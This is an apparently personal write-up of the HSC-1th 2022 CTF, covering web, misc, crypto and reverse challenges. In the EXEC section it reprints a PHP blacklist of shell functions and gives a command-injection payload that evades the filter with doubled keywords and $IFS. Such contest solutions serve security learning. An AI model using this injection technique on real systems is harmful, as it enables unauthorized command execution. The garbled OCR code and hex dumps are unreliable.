红客突击队HSC-1th CTF大赛个人Writeup



 2ha0yuk7on.
 □
 □
 ○
 1691
 ○
 收藏

 文章标签:
 安全 web安全
 □
 □
 ○
 1691
 ○
 收藏

 丁 2022-02-23 10:40:15 首次发布
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □
 □

Web

CLICK

Web-sign in

EXEC

MISC

Sign-in

DORAEMON

汝闻,人言否

PERFORMANCE-ART

WIRESHARK

CRYPTO

Easy SignIn

AFFINE

RSA

BABY-RSA

REVERSE

hiahia o(*^▽^*)-

ANDROID

WAY

PWN

Ez_pwn

本届HSC1th 2022是由社会战队红客突击队(Honker Security Commando)举办。

本次比赛将采用在线网络安全夺旗挑战赛的形式,涵盖web, crypto, misc, re等主流方向,并面向全球开放。比赛三甲可获突 击队周边礼品。

前20有纸质证书,每次感觉再解一道题就进前20了,结果等我做出来一看排名基本没变,甚至还掉了。。。大佬们太强了。 结果最后居然被我候补末班上车,刚好前20。在此记录一下个人解题过程,做的都是简单题,还有好多是歪门邪道解出来的, 还是太菜了。。。

Web

CLICK

查看JS代码,有一串字符串,解码Base64即可。



Web-sign in

JS main.js ▶ ⊕ resource://gre

JS bootstrap.bundle.min.js JS jquery.slim.min.js

○ & 830e6f48-5f77-430d-ac45-f5d898451479.node.honkersecuritycommando.site:8080 Honker Security Commando WELCOME Flag不在这里哦 你知道robots协议吗? ← → C @ ○ & 830e6f48-5f77-430d-ac45-f5d898451479.node.honkersecuritycommando.site:8080/robots.txt User-agent: * Disallow: Disallow: fiag_ls_h3re.php 🗟 view-source:http://1602b89b-26a6-4c53-bf4d-b0725feaf273.node.honkersecuritycommando.site:8080/fiag ls_h3re.php $\leftarrow \rightarrow$ C aFlag不在这里哦 <!-- flag (ad2682b0-b2bd-4cd9-a9b0-283ecf66a649) --> </body> (script) document.oncontextmenu=function() [alert("右键被禁用"); return false;); document.onkeydown = function(e) {
 e = window.event || e; var k = e.keyCode; //屏蔽ctr1+u, F12键 if ((e.ctrlKey == true && k == 85) || k == 123) (if (k == 85) alert("Ctrl+研放禁用!"); else alert("F12被禁用!"); e.keyCode = 0; e.returnValue = false; e.cancelBubble = true; return false; } 22 23 } 24 (/script> CSDN @2ha0yuk7on.

EXEC

$\leftarrow \rightarrow \mathbf{C} \square$	○ 8 556db56d-9463-4a14-a4c3-3882e6f19863.r	node.honkersecuritycommando.site:8080
php</th <th></th> <th></th>		
error_reporting(0);		
if(isset(\$_REQUEST["cmd"])	18	
\$shell = \$_REQUEST["cm	1"];	
<pre>\$shell = str_ireplace(</pre>	","",Sshell);	
<pre>\$shell = str_ireplace(</pre>	'\n","",\$shell);	
<pre>\$shell = str_ireplace(</pre>	<pre>'\t","",\$shell);</pre>	
Sshell = str_ireplace('?","",Sshell);	
<pre>\$shell = str_ireplace(</pre>	'*","",\$shell);	
<pre>\$shell = str_ireplace(</pre>	<","",\$shell);	
Sshell = str_ireplace('system", "", \$shell);	
<pre>\$shell = str_ireplace(</pre>	'passthru", "", \$shell);	
<pre>\$shell = str_ireplace(</pre>	'op_start", "", Ssnell);	
Sahell = str_ireplace('getenv", "", Sshell);	
<pre>\$snell = str_ireplace(</pre>	'putenv", "", \$snell);	
Sshell = str_ireplace('mail", "", Sshell);	
sanell = str_ireplace(<pre>'error_log", "", sanell);</pre>	
<pre>\$shell = str_ireplace(</pre>	(", shell);	
SSNELL - Str Ireplace	(exec,, ssnell);	
sanell = str_ireplace	"aneli_exec","", \$anell);	
Schell = str_ireplace(echo", "", Shell);	
SSAELI - SUT ITEDIACE	Cat, ", Shell);	
Scholl = str_ireplace(TIS", "", SSNELL);	
Schell - str_ireplace(fine and an Cohelly,	
Scholl = str ireplace	(bach, ", obnell);	
Saball = atv (vanlage)	Jabi , , , , , , , , , , , , , , , , , , ,	
Sabell = str ireplace	from "" Cohell);	
Saball = atr ireplace(Therefor III Cabelly	
Schell = err ireplace(flag" "" Schell):	
Sshell = str ireplace("con". "". Sabell):	
ever(Sehell):	op , , voncii),	
)else/		
highlight file(FILE	1:	
1		
		CSDN @2ha0vuk7on
		CSDN @ZIIdOyuk701.

分析: EXEC函数直接执行系统命令,无回显,某些命令被过滤 被过滤的关键字使用双写绕过 空格被过滤使用\$IFS绕过 将命令执行结果使用重定向写入文件 PAYLOAD如下:

□ ○ 章看器 ○ 控制台 □	调试器 1 网络 {} 样式编辑器 🕥 性能 🕼 内存 😑 存储 肯 无障碍环境 🗱 应用程序 🌘 HackBar										
Encryption - Encoding -	SQL - XSS - Other -										
Load URL	http://007b3731-4b42-4f6a-b0ee-bc06948f3255.node.honkersecuritycommando.site:8080/index.php										
) Execute	✓ Post data □ Referer □ User Agent □ Cookies Clear All										
	cmd=cacatt\$IFS/ctf_is_fun_fiflagag2021>1.txt										
	03DN @21d0ydk7011.										

 $\leftarrow \rightarrow$ C \bigcirc

🔿 👌 007b3731-4b42-4f6a-b0ee-bc06948f3255.node.honkersecuritycommando.site:8080/1.txt

flag{e706194f-2e2a-48aa-8678-6c9dc5117aba}

Sign-in



DORAEMON

爆破得到压缩包密码 根据提示修改图片高度,发现二维码 二维码补全定位块 扫描二维码即可 -

assword successfully recovered !									
Advanced Archive Pa	ssword Recovery statistics		2	uit					
Total passwords	376,853								
Total time	42s 605ms								
Average speed (passwords per second)	8,845								
Password for this file	376852		6						
Password in HEX	33 37 36 38 35 32		6						
Save pass Status window	word to file								
\doraemon.zip" opened. 2022/2/19 22:02:00 - Starting brute-force attack 2022/2/19 22:02:43 - Password successfully recovered ! 2022/2/19 22:02:43 - '376852' is a valid password for this file									
Current password: 376852 Time elapsed: 42s Password length = 6, total: 1,000,00	Average speed: Time remaining: 0, processed: 376,856	8,845 p/s 1m 10s							
	37%	CSDN @2ha	Ovuk7	on					
ADCHDD version 4 54 (c) 1007-2012 F	comSoft Co. 1 td	0000 9200	oyunr	-110					

flagindoraemon	.png																
Offset	0	1	2	3	4	5	6	7	8	9	Α	В	С	D	Е	F	
00000000	89	50	4E	47	OD	ΟA	1A	ΟA	00	00	00	OD	49	48	44	52	峙NG IHDR
00000010	00	00	01	D2	00	00	02	CC	08	02	00	00	00	51	56	D9	? ? QV?
00000020	EЗ	00	00	20	00	49	44	41	54	78	01	EC	BD	F9	92	1C	? IDATx 旖鶔
00000030	C9	Β1	ΕE	57	Β9	D7	DA	2B	76	34	30	98	8D	43	ΕA	FO	杀頦棺?v40?C牮
00000040	FO	D8	95	FE	B8	Α6	Β7	DO	AB	E8	8D	ΕE	8B	C8	64	Β2	鹭會甫沸 顙萪?
00000050	6B	32	49	47	ЗA	DC	CF	OC	39	OB	06	83	1D	DD	E8	BD	k2IG:芟 9 ?蓁?
00000060	B6	DC	AA	F 4	FΒ	ЗC	32	AB	AB	1B	OD	OC	38	24	9B	DD	盾 ?2 8\$淴
00000070	44	06	1A	59	91	Β1	7A	78	78	7C	Ε9	E9	Β1	A4	77	F7	D Y懕zxx 殚堡w?
00000080	BF	FD	DO	6A	5C	СЗ	81	86	03	OD	07	1A	ΟE	5C	14	07	魁銜ヽ?? ヽ
00000090	FC	8B	AA	A8	Α9	A7	Ε1	40	СЗ	81	86	03	OD	07	C4	81	鼖 酅?? ?
000000A0	06	76	1B	39	68	38	DO	70	AO	Ε1	CO	85	72	ΑO	81	DD	v 9h8衟犪绤r??
000000B0	OB	65	77	53	59	СЗ	81	86	03	OD	07	1A	D8	6D	64	AŒ	SD#w&/2h?a0yu数707n.
00000000		• ~	~~	\sim -	0.0	~~	1 -	~ ~	~ 1	22	20	0.77	$\sim \cdot$		17	<u></u>	11700 0 HECH

汝闻,人言否

定位到Png结束标记,发现后面还有数据,发现和ZIP的文件头很像,尝试改成504B 后面还有一块,也需要修改

52 A9 97 85 C1 E9 DC 4C B3 55 BA EA 90 EF D9 DA | R 000920B0 凹檔L仙宏 锿? D6 9A B5 AE C2 0A EE 8E EO 76 5D AF FD D9 68 31 00092000 謿诞?顜鄓] 賖1全t 000920D0 C2 6C 8B 2C F4 C8 F3 CD C5 DD D7 6D EB CB B3 59 耹? 羧笸泡謝胨砓 000920E0 3F 9D CE B1 2C 66 CD 32 A3 C2 2A 07 56 A0 5C 9A ? 伪,f?B★ V爈? 000920F0 D7 AA 94 3E 0B 70 68 52 23 D7 03 F8 BF 66 5B 84 转? phR#? f[? 00092100 DO 5C D7 22 C4 00 00 00 00 49 45 4E 44 AE 42 60 衆?? IEND 碹`? 82 4B 50 03 04 14 00 09 00 63 00 58 B8 3A 45 21 00092110 侹P c X?E! OF 00 CC J7衕? 00092120 4A 37 DO 68 F9 EA 1A 00 04 00 0B 00 66 剃 f 凈? 00092130 6C 61 67 01 99 07 00 01 00 41 45 03 08 00 83 F4 lag ? AE 63 E1 28 FE 1E FE D9 F4 BO E8 E1 39 C2 48 18 B9 c?? 舭栳9翲 ?夏? 00092140 00092150 95 68 74 EB 3E C6 96 A8 6A 93 85 A4 31 5A 56 26 胇t?茤┱揀?ZV& 8F 02 E8 EA 8D 2C 1B 55 B6 50 73 70 47 88 5C FB 00092160 柏,U禤spG圽? ?c7絮 `蹺謿 00092170 CB 30 63 37 DO F5 1F 60 DC 45 D6 9A A4 6E AD FD 7 鼬鬶 ₩n፣7桉 00092180 3E 53 08 0B F7 F8 F4 68 1D 57 6E A2 B7 37 E8 F1 >SD5 91 A4 45 DE DB B1 F7 23 諔 捋摈]S 炠 ? 00092190 5D 53 00 9E D9 0D 8C 44 40 BD 92 B9 57 5D 64 D2 A2 58 FA A5 F5 45 8A Pble恢符[]d.势X()餓? 000921A0

然后使用binwalk分离出来,或者直接winhex粘贴出来也可以 发现是一个压缩包,刚刚winhex末尾看到有一串特殊的字符,这道题这里拼了好久。。。。 看出来是键盘画画了,后面这个;p我以为是一个调皮的表情包,以为最后一个ik,.连起来是L,后来才发现是U 然后解开查看文件头,发现52494646是wav文件头,补上扩展名 查看频谱图,照抄flag



PERFORMANCE-ART

观察到前几位像504B0304,是ZIP文件头 这道题WMCTF2020有一道类似的,应该是要训练模型识别字体,但是我太菜了 直接手撸



euuuuuulauuuueuu 7uzualauulauuuueuu 00000756?6B6?6?770?002000000000000 1001800778284??50??7016B04????5 0???701?1B0??144????701504B05060 0000000010058000003?0000000000 100002000,76559060000400000 102007255555555555 してっぷ ! !しゝ」ファタロネロロオロオ シュア !ししと !シュネオココ に !d

发现有几个字符怎么猜也猜不出来对应的是哪个,但应该就是ACDEF这几个

我特么直接穷举一遍,然后在字节流的第0x1E位开始是文件名,发现根据词义可能是unknow

将组合尝试后,文件名为unknow的文件保存下来,然后逐个尝试解压,其中有一个解压成功,里面的文件解码Base64即可

CTF	2022	CTF) 👸 HSC1th-misc-PERFORM	ANCE-ART.py
t 🗖	Proje		& HSC1th-misc-PERFORMANCE-ART,py >-
Proj-	-	F D:\WorkSpace\PycharmPro	i inport zipfile
-	× 🖿	2022CTF 2	
		HSC1th-cry- LINE-GENER#	3 data = <u>\59489394148999088894R7L7253148L1L116099001400098966409008756L686L60778BIRRVI888322LI9W308752VW78IIRRL8IIR7283</u>
		KSC1th-cry-affine.py	
		HSC1th-cry-rsa.py	
		KSC1th-human.py	
		HSC1th-misc-PERFORMAN	
		A LICC1th-re-WAY ou	for l in to_s:
		il ulkimw	for win to_s:
		🛃 ulkinw	for v in to_s:
		🛃 ulklow	for 1 in to_s:
		🛃 umkmlw	If real or reaw or rear or least or least or least or weat or weat or vest:
		📸 umkmnw	
		📫 umkmow	<pre>http://www.neptace('R', r).reptace('L', L).reptace('W', W).reptace('V', V).reptace('L', L)</pre>
		📸 unknhw	DD = Dytes.rromnex(nexstring)
		📫 unknmw	frame = bb[@vto:@v2/]
		i unknow	
		uokolw 1	if forme b'unknow'.
		Suckomy 20	
		VNCTF-Crypto-ezmath.py 21	path = 'D:\\CTF比率\\2822\\HSC-lth\\misc-PERFORMANCF-ART\\#;d;d\\'+r+l+w+y+i+',7ip'
		a VNCTF-Misc-仔细找找.py 20	
		VNCTF-Msic-StrageFlag.pt 23	<pre>sith open(path.'mb') as fp:</pre>
	~ 🖿		fp.write(bb)
		💑 cr3-what-is-this-encryption 25	
		💑 crypto簡单-easy_RSA.py 20	fp.close()
		RSA256.py	
		streamgame2.py 28	z = zipfile.Zipfile(path)
		6 他加密强致广播攻击.py 25	<pre>file_in = z.namelist()[0]</pre>
		Nun 30	
	5 -	BOC2021	print(r + l + w + v + i)
	5	BugKu 32	2 ¢
	>	BugMonitor	
	> =		
	~		
		💑 png_crc32.py	
		zipzipzip.py	
Ru		HSC1th-misc-PERFORMANCE-	ART ×
•		D:\Programs\Python\Pyt	hon37\python.exe D:/WorkSpace/PycharmProjects/pythonProject/CTF/2022CTF/HSClth-misc-PERFORMANCE-ART.py
		AEFCD	
		AEFDC	
_		CEFAD	
*		DEFAC	
	•	DEECA	
	î	DEFUN	
		Process finished with	
		The second statistics with	

此电脑 > Data (D:) > CTF比赛 > 2022 > HSC-1th > misc-PERFORMANCE-ART > 我试试

∨ ひ / / 搜索"我试试"

	* ^	名称	修改日期	~ ~ 类型	大小
	1	AEFCD	2022/2/20 10:30	文件夹	
		🗋 unknow	2021/11/18 15:50	文件	1 KB
		AEFCD.zip	2022/2/20 10:30	压缩(zipped)文件	1 KB
ANCE-ART		AEFDC.zip	2022/2/20 10:30	压缩(zipped)文件	1 KB
		CEFAD.zip	2022/2/20 10:30	压缩(zipped)文件	1 KB
		CEFDA.zip	2022/2/20 10:30	压缩(zipped)文件	1 KB
onal		DEFAC.zip	2022/2/20 10:30	压缩(zipped)文件	1 KB
		DEFCA.zip	2022/2/20 10:30	压缩(zippre)SDA	@2ha0₩8k7on.



WIRESHARK

这道题是赛后做出来的,这里也记录一下。 下载后是一个zip压缩包,打开发现有密码,爆破无结果。 分离文件得到一张图片和一个压缩包。



比赛的时候这个图片研究了好久,想到了可能是LSB隐写,但是用stegsolve不太好看,得自己选择通道和哪一位,所以当时没 看出来。

zsteg就很好用,直接导出。



可以看出导出了一个二维码,扫描得到wrsak...iehr370,明显是栅栏密码。 解密得到wireshark3.7.0,刚才分离出来的还有一个压缩包,用这个密码进行解密。 解密得到一个名为wireshark的文件,开始以为是流量分析题,结果查看文件头发现。

wireshark																			
Offset	0	1	2	3	4	5	6	7	8	9	Α	В	C	D	Е	F			
00000000	25	00	00	00	2D	31	2E	37	20	20	20	09	09	20	09	20	%	-1.7	

								<u> </u>									
00000010	OD	ΟA	25	B5	B5	B5	B5	20	20	20	20	20	20	20	20	OD	%档档
00000020	0A	31	20	30	20	6F	62	6A	OD	ΟA	ЗC	ЗC	2F	54	79	70	1 0 obj <
00000030	65	2F	43	61	74	61	6C	6F	67	2F	50	61	67	65	73	20	e/Catalog/Pages
00000040	32	20	30	20	52	2F	4C	61	6E	67	28	7A	68	2D	43	4E	2 O R/Lang(zh-CN
00000050	29	20	2F	53	74	72	75	63	74	54	72	65	65	52	6F	6F) /StructTreeRoo
00000060	74	20	38	36	20	30	20	52	2F	4D	61	72	6B	49	6E	66	t 86 O R⁄MarkInf
00000070	6F	ЗC	ЗC	2F	4D	61	72	6B	65	64	20	74	72	75	65	ЗE	o<
00000080	ЗE	2F	4D	65	74	61	64	61	74	61	20	35	32	33	20	30	>/Metadata 523 O
00000090	20	52	2F	56	69	65	77	65	72	50	72	65	66	65	72	65	R/ViewerPrefere
000000A0	6E	63	65	73	20	35	32	34	20	30	20	52	ЗE	ЗE	OD	ΟA	nces 524 0 R>>
000000B0	65	6E	64	6F	62	6A	20	20	20	20	20	20	20	20	OD	ΟA	endobj
000000000	32	20	30	20	6F	62	6A	OD	ΟA	ЗC	ЗC	2F	54	79	70	65	2 GSBbg ^{2h} aQyyhTyphe

搜索文件头特征,得知为pdf文件,修复文件头然后打开。 Adobe Acrobat (pdf) 文件头: 255044462D312E

+wireshark.pdf × 赛/2022/HSC-1th/misc-WIRESHARK/output/zip/wireshark.pdf +୍ତ A^N 朗读此页内容 <>> 〔D 页面视图 ∀ 绘制 ₩ 突出显示 Wireshark Developer's Guide Version 3.7.0 Ulf Lamping, Graham Bloice **Preface** Foreword This book tries to give you a guide to start your own experiments into the wonderful world of Wireshark development. Developers who are new to Wireshark often have a hard time getting their development environment up and running. This is especially true for Win32 developers, as a lot of the tools and methods used when building Wireshark are much more common in the UNIX world than on Win32. The first part of this book will describe how to set up the environment needed to develop Wireshark. The second part of this book will describe how to change the Wireshark source code. We hope that you find this book useful, and look forward to your comments. Who should read this document? The intended audience of this book is anyone going into the development of Wireshark. CSDN @2ha0yuk7on. 打开以后也没啥发现,这里用到了wbstego4工具,是Windows平台下针对.bmp/.pdf文件最低有效位隐写的一款工具。 选择要解密的文件和密码,没有密码置空即可。

wbStego4.3open

Ready, Steady	r, Go!
Step	Current settings:
	Manipulated file:
One	Information ×
	Decoding process finished.
	OK
<u>H</u> elp	1
<u>S</u> ettings	Select "Continue" to begin with the selected process.
Elowchart - Mode	<< <u>Back</u> CSDN @2ha0yuk7on.



CRYPTO

Easy SignIn

16进制转字符串 -> 解Base64编码 -> 解Base32编码 -> 解Base64编码

AFFINE

得到答案。

 \times

仿射加密,印象中某年网鼎杯的题也出过

解密时需要求一个参数a的乘法逆元,可以欧几里得算法,我这里直接用gmgy2了 遍历所有可能的a和b,求出明文,再按照flag格式计算md5即可

🖺 Eile Edit View Navigate	<u>C</u> ode <u>B</u> efactor Run <u>I</u> ools VC <u>S</u> <u>W</u> indow <u>H</u> elp CTF - HSC1th-cry-affine.py
CTF 2022CTF 8 HSC1th-cr	y-affine.py
 Elle Edit Yiew Navigati CTF) 2022CTF) → HSC1th-cri Project ▼ ↔ ↔ ↔ CTF D://WorkSpace/ CTF D://WorkSpace/ CTF D://WorkSpace/ WCTF-Crypto-	<pre>code Ketactor Kun Tools VC\$ Window Help CUP-HSCHN-cry-affine.py cd =</pre>
 > HW2021 > Image > L3HCTF > N1CTF > N1ES > Ind > RSA > Itongda > Tools > Itraval > I	<pre>28 t = aa * (letter.index(ch) - b) % 62 21 c.append(letter[t]) 22 d = ''.join(c) 23 return d 24 25 for a in range(100): 26 for b in range(100): 27 try: 28</pre>
る bases家族,py	35
Run: HSC1th-cry-affin	<pre>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>></pre>
 D: \Programs\ Oh62Affine1s Dh62Affine1s Dh62Affine1s Dh62Affine1s Dh62Affine1s Dh62Affine1s 	rython(FythonS/lpython.exe U:/WOrkSpace/PycharmProjects/pythonProject/LTF/2022LTF/HSLIth-cry-attine.py StillN0tSecureEnoughToProtectflag StillN0tSecureEnoughToProtectflag StillN0tSecureEnoughToProtectflag
Process fini	CSDN @2ha0yuk7on.

RSA

根据题意,p和q应该是差10倍左右,n除以10再开方得到的那个数应该和p差不多大,再取下一个质数就是p,可以p*q验证一下gcd(e,phi)=2

公钥不互素,通过爆破得知k=0

Project 🔻 😳 🛨 📮 —	- 義 HSC1th-re-WAY.py × _ 義 HSC1th-cry-rsa.py × _ 義 RSA256.py × _ 義 crypto湾車-easy_RSA.py ×
✓ ► CTF D:\WorkSpace\PycharmPro	4 from Crypto.Util.number import *
2022CTF	
🐇 HSC1th-cry- LINE-GENERA	
🐇 HSC1th-cry-affine.py	7 n = 124689885677258164778068312042204623318499608479147230303784397390856552161216998488107601962337145795119
💑 HSC1th-cry-rsa.py	8 c = 57089349656454488535971268237112640888678921972499388628861475868564979797575941155519525388692770224529693
👸 HSC1th-human.py	9 e = 8xe18e
👗 HSC1th-misc-PERFORMAN	10 a = 28871
🐇 HSC1th-re-android.py	11 b = 2
👸 HSC1th-re-WAY.py	
🎲 ulkimw	13 near = nmny2 iront(n // 10 2)[0]
🎲 ulkinw	
📫 ulklow	p = sympy (nexp) (action)
崎 umkmlw	$\frac{1}{12} = \frac{1}{2} = \frac{1}{2} \exp(-\frac{1}{2} \exp(-\frac{1}{2} + \frac{1}{2}))$
📫 umkmnw	$10 d = symbol \cdot h(sh) \cdot h(sh) \cdot h(sh)$
🃫 umkmow	
📸 unkniw	
📫 unknmw	
🖞 unknow	
📫 uokolw	21 # phi = (p-1)*(q-1)
🛃 uokomw	
🛃 uokonw	<pre>23 phi = gmpy2.lcm(p - 1, q - 1)</pre>
🛃 VNCTF-Crypto-ezmath.py	
🍓 VNCTF-Misc-仔细找找.py	
💑 VNCTF-Msic-StrageFlag.py	
V ADWorld	
or3-what-is-this-encryption	
器 crypto简单-easy_RSA.py	
RSA256.py	
🐞 streamgame2.py	
後低加密指数广播攻击.py	
◎ 共模攻击.py	<pre>33 bd = gmpy2.invert(a_phi)</pre>
> AWD	34 ded = pow(c_kbd_n)
> BOC2021	35 print(ded)
Bugku	
> Bugimonitor	37 offer k in range(188088):
	38 m2 = n+k + ded
	<pre>39 if pow(gmpy2.iroot(m2,2)[8],e,n)==c:</pre>
aieziezie eu	48 A print(k)
> = HW2021	
	<pre>42 m = qmpv2.iroot(ded.2)</pre>
	43 print(long to bytes(m[0]))
> N1CTE	
> D N1FS	
Run: 🏼 🎯 HSC1th-cry-rsa 🛛	
D:\Programs\Python\P	ython37\python.exe D:/WorkSpace/PycharmProjects/pythonProject/CTF/2022CTF/HSClth-cry-rsa.py
17004171691197886364	218250279152707973841324284801820774782529936282292381649081742013097267392871678524644093470404787370676775481293978
😐 🖻 b'flag{6d22773623d3d	5c871692e9985de5f16}'
프	
Process finished wit	h exit code 0 CSDN @2haOyuk7on.

BABY-RSA

阅读源码,根据代码逻辑,可以根据异或求逆运算,得到p的前568位

P / 2022CIF / Macith-cry-babyrsa.p	
🔲 Project 👻 😳 🛨 🗢 —	🔥 HSC1th-cry-babyrsa.py 🛛 🛔 HSC1th-cry-rsa.py 🗡
✓ ■ CTF D:\WorkSpace\PycharmPro	1 Óinport gmpy2
2022CTF	
🚜 HSC1th-cry- LINE-GENERA	
🚜 HSC1th-cry-affine.py	
🚜 HSC1th-cry-babyrsa.py	5 Endef lfsr(status.mask):
🚜 HSC1th-cry-rsa.py	out = (status << 1) & syfffffff
🛃 HSC1th-human.py	7 1=(status&mask)&&%/ffffffff
🛃 HSC1th-misc-PERFORMAN	lacthit-R
🛃 HSC1th-re-android.py	
🛃 HSC1th-re-WAV.py	
🍰 ulkimw	
🛃 ulkinw	
🛃 ulklow	12 OUT ALLASTDIT
🛃 umkmlw	13 Peturn (out, lastbit)
🐇 umkmnw	
🐇 umkmow	15 KeA = .01011101001001101101101000111010000111010
🛃 unkniw	16 mask = @b101100011100100110001010101
🙆 unknmw	
🖞 unknow	
🛃 uokolw	
💑 uokomw	
🛃 uokonw	<pre>21 (status,out)=lfsr(status,mask)</pre>
VNCTF-Crypto-ezmath.py	22 hp = int(kev[i])^out
● VNCTF-Mise-行相認認定py	$23 \ominus \mathbf{p} + = \mathbf{str}(\mathbf{hp})$
🚜 VNCTF-Msic-StrageFlag.ps	24 print(p)
- 🖿 ADWorld	25 print(hey(int(n_2)))
🔏 cr3-what-is-this-encryption	
🔏 crypto简单-easy RSA.py	
KSA256.pv	
👗 streamgame2.py	
♣ 低加密指数广播攻击.py	
↓ 共模攻击.py	
> MAND	
> BOC2021	32 # p=902250062886270209332670244257976470429655544862736741454746290223354835791680203213341776006244753584194587813870215776
> 🖿 BugKu	# q=105779913793651074214263503010594071424969073353841622604658974812940029980624584116398305918269283126971163279620945198
> EugMonitor	
> 🖿 crypto	
DNUICTE	
png_crc32.py	
🛃 zipzipzip.py	
> HW2021	
> 🖿 Image	
> 🖿 L3HCTF	
> In N1CTF	
> 🖿 N1ES	
Run: HSC1th-cry-babyrsa ×	
D:\Programs\Python\P	ython3/bython.exe D:/WorkSpace/PycharnProjects/pythonProject/CTF/2822CTF/HSC1th-cry-babyrsa.py
1000000011111000001	9911199191519111999999191999911695191191191191519999119519151591691999991911911912919169851196591191699691891111911916969691969511965
9x807c1395b8128e6de8	&5a028002839684f6831464553C65215Cfe2861192657b6938d227c75e982ae858fdbd8b118c8522c88a3bf978bb283bc1644fe526f2de55b865b85b9597958
	CSDN @2ba0yuk7ap
Process finished with	

发现是RSA的高位攻击,即Coppersmith攻击,已知p的高位X个数据,以及n、e可以求出p、q 有一个在线网站可以做

(C) Help	Made # 8 Date Control Pagence & Pagence & Pagence Catate Unare Cogine Roman Baye	# Srappets	Stage
		NYYCH LLAS XOURSE	29686900
-			
11	 • 0000 • 0000 • 0000 • 0000 		
A D D D D D D D D D D D D D D D D D D D	$1 \ b(x + a(x - y) + b(x))$ $4 \ b(x + y) + b(x)$ $4 \ b(x + y) + b(x) + b(x)$ $4 \ b(x + y) + b(x) + $		
1111111	4 (I weak)		
23 × 24 ×			
1204067	for is a second, 2001 F REPORT CT SERIE, A 1999-000, B 99/ 200 present the second sec		
12 0			
	HERE		
0 11 10	ander (fan 1. a) ander (fan 1. a) Band		
0.4		7on	

得到p和q后进行简单验证,没有错误,根据RSA密钥生成规则求d,解密运算即可



REVERSE

hiahia o(^{\(\nabla\)})-

这道题实话说静态分析没看出啥来,后来发现是IDA的版本问题

```
_main();
v4 = 7887295527621257065i64;
v5 = 2682778951892353141i64;
v6 = 1882989628;
printf("please input your flag:");
scanf("%s", v7);
for ( i = 0; (signed int)i <= 19; ++i )</pre>
{
  *((_BYTE *)&v4 + (signed int)i) = flag((unsigned int)*((char *)&v4 + (signed int)i), i);
  if ( v7[i] != *((_BYTE *)&v4 + (signed int)i) )
  {
    printf("Aha, Well done!");
    return 0;
  }
}
printf("Aha!");
return 0;
```

CSDN @2ha0yuk7on.

用动态调试做的,经过反复动态调试发现当代码进行到4015C9这个位置时,进行了一次比较,此时EAX寄存器中是正确的flag的第i个字符,EDX是用户输入的第i个字符。

用户输入的开头是flag{,只需在此处下断点,执行到比较逻辑时手动将EDX改为和EAX一致,就会continue进入下一位字符的判断,如此反复即可获得flag。



ANDROID

模拟器打开,是一个输入框,输入字符串可以判定,清楚了基本逻辑。 反汇编,定位到关键代码

```
public void onClick(View arg8) {
   String v8 = this.input.getText().toString().trim();
   int v0 = 18;
   int[] v1 = new int[]{102, 13, 99, 28, 0x7F, 55, 99, 19, 109, 1, 0x79, 58, 83, 30, 0x4F, 0, 0x40, 42};
   if(v8.length() != v0) {
      this.input.setText("FLAG错误");
   }
   else {
       char[] v8_1 = v8.toCharArray();
       int v3 = 0;
       int v4;
       for(v4 = 0; v4 < 17; ++v4) {
          int v5 = v4 % 2 == 0 ? v8_1[v4] ^ v4 : v8_1[v4] ^ v8_1[v4 + 1];
          v2[v4] = v5;
       }
      v8 = "";
      for(v4 = 0; v4 < v0; ++v4) {</pre>
          v8 = v8.concat(Integer.toHexString(v2[v4])).concat(",");
       }
      System.out.println(v8);
      while(v3 < v0) {
          if(v2[v3] != v1[v3]) {
             this.input.setText("FLAG错误! ");
             return;
          }
          ++v3;
       }
       this.input.setText("FLAG正确");
   }
}
                                                                       CSDN @2ha0yuk7on.
```

就是你输入的长度18的字符串,会和v2数组进行一定运算,最后和v1相比,写脚本求解

P		÷	🏚 — h-cry-a	ffine.py \times	🛃 HSC1th-misc-PERFO	RMANCE-ART.py ×	💑 HSC1th-human.py 🗵	👸 HSC1th-re-android.py
× 1	CTF D:\WorkSpace\PycharmProjects				t string			
	2022CTF & HSC1th-cry- LINE-GENERATION & HSC1th-cry-affine.py	N-TEST.py			string.digits+strin	g.ascii_letters		
	# HSC1th-human.py HSC1th-misc-PERFORMANCE-A # HSC1th-re-android.py	ART.py	5 6 7	v1 = v2 =	[0x66 _x 0xd _x 0x63 _x 0x1 [0x2a _x 0x2a _x 0x2a _x 0x2a _x 0x	c _x 0x7f _x 0x37 _x 0x6 2a _x 0x2a _x 0x2a _x 0x	3,0x13,0x6d,0x1,0x7 2a,0x2a,0x2a,0x2a,0	9,0x3a,0x53,0x1e,8x4 1x2a,0x2a,0x2a,0x2a,0x2a,0
	 ペ VNCTF-Crypto-ezmath.py ペ VNCTF-Misc-仔細技能.py ペ VNCTF-Msic-StrageFlag.py ADWorld AWD BOC2021 ペ crypto2.py ペ crypto3.py ペ preverse3.py ペ yingyusiji.py 			v8 =	<pre>/4 in range(17): if v4 % 2 == 0: m1 = v1[v4] ^ v. print(m1_end=', [102_L0_297_k0_123_k0_k] /4 in range(17): if v4 % 2 != 0: m = v1[v4] ^ v8 v8[v4] = m</pre>	4 ') 101 ₄ 0 ₄ 101 ₄ 0 ₄ 115 [v4+1]	₁ 0 ₂ 95 ₂ 0 ₂ 65 ₂ 0 ₂ 80 ₂ 0]	
	🐞 yingyusiji2.py							
	BugMonitor				:(len(v8))			
	E crypto				(v8)			
	HW2021				i in v8:			
	L3HCTF				print(cnr(i) _* eng=			
	N1CTF							
	DI N1ES							
	🖿 old							
	RSA							
	tongda							
	Tools							
	yanznengma							



后面好像少了一个},手动补上尝试提交成功。

WAY

根据文件名猜想可能有壳,查壳脱壳

祛 PEiD v0.95 .: 小生我怕怕	à :.				
Ray-t	eam	slan Cl			
文件: D: \CTF比赛\2022\HSC-	-1th\re-WAY\ma	ze=upx. exe ()			
入口点: D0110FD0	EP 区段:	UPX1			
文件偏移: 00049110	首字节:	60, BE, 15, 80 🔊			
链接器信 2.35	子系统:	Win32 console 🕥			
UPX 0.89.6 - 1.02 / 1.0	15 - 1.24 -> Ma	arkus & Laszlo [Overlay]			
